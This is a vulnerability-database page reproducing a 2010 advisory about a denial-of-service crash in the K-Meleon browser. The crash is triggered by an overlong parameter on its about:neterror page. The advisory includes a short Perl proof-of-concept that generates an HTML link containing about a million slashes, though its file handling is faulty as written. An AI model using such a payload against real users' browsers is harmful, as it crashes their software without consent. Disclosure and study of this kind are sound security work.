Vulners
Lucene search
K-Meleon for windows about neterror Stack Overflow DoS
======================================================
K-Meleon for windows about neterror Stack Overflow DoS
======================================================
############################################
K-Meleon for windows about:neterror Stack Overflow DoS
Vendor URL:http://kmeleon.sourceforge.net/
Advisore:http://lostmon.blogspot.com/2010/08/k-meleon-for-windows-aboutneterror-dos.html
Vendor notified:Yes exploit available: YES
Category : Remote DoS
############################################
K-Meleon is an extremely fast, customizable, lightweight web browser
based on the Gecko layout engine developed by Mozilla which is also
used by Firefox. K-Meleon is free, open source software released under
the GNU General Public License and is designed specifically for
Microsoft Windows (Win32) operating systems.
K-Meleon is prone vulnerable to crashing with a very long URL...
Internal web pages like about:neterror does not limit the amount of
chars that a user put in 'c' 'd' params and them if we compose a
malformed url the browser can be chash easy.This issue is exploitable
via web links like click here or via
window.location.replace('very long url') or similar vectors.
#################
Versions Tested
#################
I have tested this issue in win xp sp3 and a windows 7 fully pached.
Win XP sp3:
K-meleon 1.5.3 & 1.5.4 Vulnerables.(crashes )
K-Meleon 1.6.0a4 Vulnerables.(crashes)
windows 7 Ultimate:
K-meleon 1.5.3 & 1.5.4 Vulnerables.(crashes)
K-Meleon 1.6.0a4 Vulnerables.(crashes)
############
References
############
Discovered: 29-07-2010
vendor notify:31-07-2010
Vendor Response:
Vendor patch:
################
#Proof Of Concept
################
#######################################################################
#!/usr/bin/perl
# k-meleon Long "a href" Link DoS
# Author: Lostmon Lords [email protected] http://lostmon.blogspot.com
# k-Meleon versions 1.5.3 & 1.5.4 internal page about:neterror DoS
# generate the file open it with k-keleon click in the link and wait a seconds
######################################################################
$archivo = $ARGV[0];
if(!defined($archivo))
{
print "Usage: $0 <archivo.html>\n";
}
$cabecera = "<html>" . "\n";
$payload = "<a href=\"about:neterror?e=connectionFailure&c=" . "/" x
1028135 . "\">click here if you can :)</a>" . "\n";
$fin = "</html>";
$datos = $cabecera . $payload . $fin;
open(FILE, '<' . $archivo);
print FILE $datos;
close(FILE);
exit;
################## EOF ######################
##############
Related Links
##############
vendor bugtracker : http://kmeleon.sourceforge.net/bugs/viewbug.php?bugid=1251
Posible related Vuln: https://bugzilla.mozilla.org/show_bug.cgi?id=583474
Test Case : https://bugzilla.mozilla.org/attachment.cgi?id=461776
###################### Ђnd #############################
Thnx to Phreak for support and let me undestanding the nature of this bug
thnx to jajoni for test it in windows 7 X64 bits version.
--
atentamente:
Lostmon ([email protected])
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
# 0day.today [2018-04-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Aug 2010 00:00Current
7High risk
Vulners AI Score7